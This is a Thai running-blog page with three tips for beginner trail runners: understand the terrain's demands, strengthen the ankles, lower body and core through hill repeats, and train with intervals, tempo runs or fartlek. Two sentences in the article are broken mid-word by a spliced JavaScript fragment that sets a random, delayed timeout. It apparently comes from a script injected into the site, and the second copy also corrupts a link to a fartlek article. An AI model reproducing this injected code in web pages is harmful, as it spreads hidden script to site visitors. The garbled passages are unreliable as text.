• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

3 Tips สำหรับ นักวิ่ง เทรลมือใหม่ ที่ต้องรู้

kan by kan
12 September 2017
in Running Tips, Tips & Technics, Training
0
3 Tips สำหรับ นักวิ่ง เทรลมือใหม่ ที่ต้องรู้
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

การวิ่งแข่งขันบนสนามเทรล คือการแข่งขันระหว่าง นักวิ่ง และธรรมชาติ แต่ต่างกับการวิ่งแข่งขันบนทางเรียบ ที่เน้นความเร็วและการแข่งขันระหว่างนักวิ่งด้วยกัน แต่ข้อดีของการวิ่งเทรลคือคุณจะได้อยู่กับตัวเองมากขึ้น เป็นหนึ่งกับธรรมชาติ ทักษะการวิ่งจะถูกใช้มากกว่า สนุกไปกับลักษณะพื้นสนามมีความหลากหลาย คุณจะต้องไต่ กระโดด รวมไปถึง การไถลลงเขา เพิ่มอรรถรสในการวิ่งมากว่าทางเรียบ

3 Tips สำหรับ นักวิ่ง เทรลมือใหม่

เข้าใจ workload ที่นักวิ่งเทรล มือใหม่ต้องเจอ หรือเข้าใจ Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ของสนามต่อร่างกาย

อย่างแรกที่เราควรรู้คือ การจะวิ่งให้เร็วเท่าทางเรียบจำเป็นต้องใช้พลังงานมากกว่าปกติ จังหวะลงขา การสับขา (stripe) ที่มีเปลี่ยนแปลงตลอดเวลาขึ้นอยู่กับสภาพพื้นผิวสนาม ลงจินตนาการดูครับว่า เวลาเราขับรถบนทางเรียบ เราจะสามารถเร่งรอบเครื่องยนต์และเข้าเกียร์ได้ต่อเนื่อง เริ่มไต่ระดับความเร็วเป็นสเตปๆ จังหวะเข้าเกียร์ก็ไหลลื่น ไม่มีการสะดุด แต่ถ้าหากคุณลองมาขับรถวิบาก ทางลูกขรุขระลูกรัง ดูสิครับ มีการเปลี่ยนจังหวะรอบเครื่องยนต์ ปรับเปลี่ยนเกียร์ให้เหมาะสมกับพื้นถนนต่อเวลา ไม่มีจังหวะให้ขับรถนิ่งๆ ทำรอบได้ต่อเนื่อง มีการเข้าเกียร์ต่ำเพื่อเร่งพลังในการไต่เขา หรือ ลงเขาสลับไปมา

สิ่งที่คุณจำเป็นต้องมี นั่นก็คือ การมีข้อเท้าที่แข็งแรง (Strong ankles) เพราะพื้นสนามไม่เรียบ พื้นสนามเทรลมีความขรุขระ มีความชัน พื้นถนนไม่ได้ลาดยางเรียบสนิท การลงเท้าแต่ละครั้งจึงจำเป็นที่จะต้องมีความมั่นคง

ต่อจากข้อขา ก็ต้องมาต่อที่ ข้อเข่า เอว หรือจุดทั้งหลายที่เราต้องใช้ในการขับผลักดันร่างกายไปข้างหน้า และอย่าลืมกล้ามเนื้อแก่นกลางหรือ core muscle ด้วยละครับ มีความสำคัญในการสร้างสมดุลซ้ายขวา สำคัญมากเวลาวิ่งลงเขา หรือช่วงเวลาวิ่งบนทางขรุขระ จังหวะที่ต้องลงขาเดียว จังหวะการกระโดดไปมา

เน้นการฝึกกล้ามเนื้อ

หลังจากเรารู้แล้วว่า เราต้องสร้างความแข็งแรงให้กับกล้ามเนื้อช่วง Lower และ core เป็นพิเศษ เพื่อสร้างพละกำลังและความแข็งแกร่งในการต่อกรกับความชัน เราจะมีวิธีฝึกอย่างไรบ้าง…ฝึกวิ่งขึ้นทางชัน หรือฝึกวิ่งขึ้นบันได รวมกันแล้วขออนุญาตเรียกว่า Hill repeats นะครับ เป็นการฝึก drill อย่างหนึ่งให้กล้ามเนื้อมีความขุนเคยการการวิ่งขึ้นทางชัน ที่สำคัญเป็นการสร้างความแข็งแรงให้กล้ามเนื้อขาและช่วงล่างไดอย่างดี…นี้ยังไม่นับอัตราการเต้นของหัวใจที่เพิ่มขึ้นด้วยระหว่างวิ่งขึ้น

เรามาดูวิธีการวิ่งจากคลิปนี้กันครับ

หลักๆ ก็คือ ยกเขาสูงเพื่อหนีความชันและลงก้าวสั้นๆ โน้มร่างกายไปข้างหน้าเล็กน้อย

ฝึกการวิ่งแบบ interval, tempo หรือ farlek

จุดประสงค์ของการฝึกนอกจากจะช่วยเพิ่มความแข็งแกร่งให้ร่างกายแล้ว ยังช่วยให้เราคุ้นชินกับการปรับเปลี่ยนจังหวะการวิ่งและการทำงานของหัวใจและปอดที่เพิ่มมากขึ้นระหว่างไต่เขา ตัวอย่างการฝึกandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeatwell.co.uk/2016/06/13/%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B9%80%E0%B8%9B%E0%B9%87%E0%B8%99-fartlek/” target=”_blank” rel=”noopener”> Fartlek

นักวิ่ง
www.thisrunnersrecipes.com

ก่อนจากกันขอแถมท้ายด้วยการฝึกกล้ามเนื้อสำหรับนักวิ่ง ทดลองเอาไปฝึกดูนะครับ

 

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.